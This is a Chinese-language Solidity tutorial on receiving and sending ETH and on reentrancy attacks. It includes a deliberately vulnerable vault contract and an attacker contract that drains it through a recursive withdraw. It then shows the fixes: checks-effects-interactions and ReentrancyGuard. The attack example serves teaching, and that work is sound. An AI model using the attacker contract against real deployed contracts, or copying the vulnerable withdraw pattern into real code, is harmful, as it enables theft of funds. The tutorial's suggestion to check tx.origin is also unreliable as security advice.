solidity中合约交易安全问题

🧾 1. 合约收款方式

payable修饰符

csharp 复制代码
 function funcName() public payable() {
 ​
 }

🔹 receive() 函数

✅ 用途

当合约收到纯 ETH 转账 (例如 address(this).transfer()address(this).send())且没有调用数据 (data为空)时,会调用 receive() 函数。

语法

scss 复制代码
 receive() external payable {     // 收款逻辑 }
  • external:只能被外部调用。
  • payable:允许接收 ETH。
  • 不能有参数,也不能返回值。
  • 每个合约只能有一个 receive() 函数

✅ 使用场景

scss 复制代码
 contract MyContract {
     event Received(address sender, uint amount);
 ​
     receive() external payable {
         emit Received(msg.sender, msg.value);
     }
 }
 ​
 ​

🔹 fallback() 函数

✅ 用途

  • 当调用合约函数时,找不到对应函数签名
  • 或者调用时带有数据,但合约中没有 receive() 函数可调用

会触发 fallback() 函数。

✅ 语法(两种)

1. 允许收款:
scss 复制代码
 fallback() external payable {     // fallback 收款逻辑 }
2. 不收款,仅响应错误调用:
scss 复制代码
 fallback() external {     // fallback 非 payable,不能接收 ETH }

``

✅ 使用场景

scss 复制代码
 contract MyContract {
     event FallbackCalled(address sender, uint amount, bytes data);
 ​
     fallback() external payable {
         emit FallbackCalled(msg.sender, msg.value, msg.data);
     }
 }
 ​

📊 receive vs fallback 对比总结

特性 receive() fallback()
是否能接收 ETH 是(必须是 payable 可选(payable 或不写)
是否接收 data 否(data 必须为空) 是(data 非空或无函数匹配)
是否必须存在 否(可选) 否(可选)
常见触发条件 纯 ETH 转账,无数据 错误调用或带 data 转账

🧠 实战建议

  • 如果你只是想接收纯 ETH,可以只写 receive() payable
  • 如果你想对任何未知调用做处理(比如 proxy、日志记录),就用 fallback()
  • 如果两者都写了,Solidity 会优先调用 receive(),只在 data 不为空时才会调用 fallback()

📥 2. 查看合约收到的余额

kotlin 复制代码
 address(this).balance
  • 返回当前合约地址的 ETH 余额(单位为 wei)

💸 3. 合约向外转账的三种方式

转给 外部账户、合约账户

✅ address.transfer

scss 复制代码
 payable(msg.sender).transfer(1 ether);
  • 固定 2300 gas,失败自动 revert

✅ address.send

scss 复制代码
 bool success = payable(msg.sender).send(1 ether);
 require(success, "Send failed");
  • 同样只提供 2300 gas,但需要手动检查返回值

✅ call(推荐)

scss 复制代码
 (bool success, ) = payable(msg.sender).call{value: 1 ether}("");
 require(success, "Call failed");
  • 可调 gas,兼容新版本,官方推荐方式

🛡️ 4. 安全建议

  • 使用 call 替代 transfer / send,避免 Out of Gas 错误
  • 使用 ReentrancyGuard 防止重入攻击
  • 避免在 receive() 中执行复杂逻辑

🔐 5. 示例:收款和提款合约

scss 复制代码
 // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.0;
 ​
 contract Vault {
     address public owner;
 ​
     constructor() {
         owner = msg.sender;
     }
 ​
     receive() external payable {}
 ​
     function withdraw() external {
         require(msg.sender == owner, "Not owner");
         (bool success, ) = payable(owner).call{value: address(this).balance}("");
         require(success, "Withdraw failed");
     }
 ​
     function getBalance() external view returns (uint) {
         return address(this).balance;
     }
 }

⚠️ 6. 重入攻击(Reentrancy Attack)

🐞 什么是重入攻击?

当合约调用外部地址(如 call 转账)时,如果该地址是一个合约,它可以在未完成前一次调用前,反复调用回原合约的函数,造成重复提现等安全问题。

🎬 攻击演示:易受攻击的合约

scss 复制代码
 // VulnerableVault.sol
 contract VulnerableVault {
     mapping(address => uint) public balances;
 ​
     function deposit() external payable {
         balances[msg.sender] += msg.value;
     }
 ​
     function withdraw() external {
         require(balances[msg.sender] > 0, "No balance");
 ​
         // 发送 ETH(外部调用,容易被攻击者重入)
         (bool success, ) = msg.sender.call{value: balances[msg.sender]}("");
         require(success, "Transfer failed");
 ​
         // 更新余额(放在调用后,导致漏洞)
         balances[msg.sender] = 0;
     }
 }
 ​

🧨 攻击者合约

scss 复制代码
 // Attacker.sol
 contract Attacker {
     VulnerableVault public target;
 ​
     constructor(address _target) {
         target = VulnerableVault(_target);
     }
 ​
     // 回调函数,趁机再次提取
     receive() external payable {
         if (address(target).balance > 1 ether) {
             target.withdraw();
         }
     }
 ​
     function attack() external payable {
         require(msg.value >= 1 ether, "Need 1 ETH");
         target.deposit{value: 1 ether}();
         target.withdraw();
     }
 }
 ​

流程说明

  • 👤 用户向 VulnerableVault 合约 deposit() 存入 1 ETH
  • 🧑‍💻 攻击者调用 withdraw(),触发合约转账 call
  • 🧠 攻击者合约在 receive() 中再次调用 withdraw()
  • 🔁 因为合约尚未更新 balances,攻击者可多次提取
  • 🏴 合约余额被掏空,攻击成功

🛡️ 如何防止重入攻击?

✅ 使用"检查-效果-交互"模式:

scss 复制代码
 function withdraw() external {
     uint amount = balances[msg.sender];
     require(amount > 0, "No balance");
 ​
     // 先更新状态
     balances[msg.sender] = 0;
 ​
     // 再转账(外部调用)
     (bool success, ) = msg.sender.call{value: amount}("");
     require(success, "Transfer failed");
 }
 ​

✅ 使用 ReentrancyGuard(OpenZeppelin 提供)

ini 复制代码
 import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
 ​
 contract SecureVault is ReentrancyGuard {
     mapping(address => uint) public balances;
 ​
     function deposit() external payable {
         balances[msg.sender] += msg.value;
     }
 ​
     function withdraw() external nonReentrant {
         uint amount = balances[msg.sender];
         require(amount > 0, "No balance");
         balances[msg.sender] = 0;
         (bool success, ) = msg.sender.call{value: amount}("");
         require(success, "Transfer failed");
     }
 }
 ​

🎯 小结

防御措施 说明
状态更新在前 防止多次调用利用旧状态
使用 ReentrancyGuard 简洁防御,适合大多数场景
限制外部合约调用 检查 tx.origin 或设白名单
相关推荐
Talents10 小时前
solidity中的错误处理
代码规范
亿坊电商1 天前
在搭建PHP框架时如何优雅处理错误与异常?
开发语言·php·代码规范
xlp666hub2 天前
C进阶之内存对齐,硬件总线和高并发伪共享的底层原理
面试·代码规范
电子科技圈2 天前
SiFive车规级RISC-V IP获IAR最新版嵌入式开发工具全面支持,加速汽车电子创新
嵌入式硬件·tcp/ip·设计模式·汽车·代码规范·risc-v·代码复审
尘世中一位迷途小书童5 天前
项目大扫除神器:Knip —— 将你的代码库“瘦身”到底
前端·架构·代码规范
UIUV7 天前
JavaScript内存管理与闭包原理:从底层到实践的全面解析
前端·javascript·代码规范
进击的丸子7 天前
跨平台人脸识别 SDK 部署指南
linux·后端·代码规范
于谦9 天前
git提交信息也能自动格式化了?committier快速体验
前端·javascript·代码规范
大怪v10 天前
【Virtual World 04】我们的目标,无限宇宙!!
前端·javascript·代码规范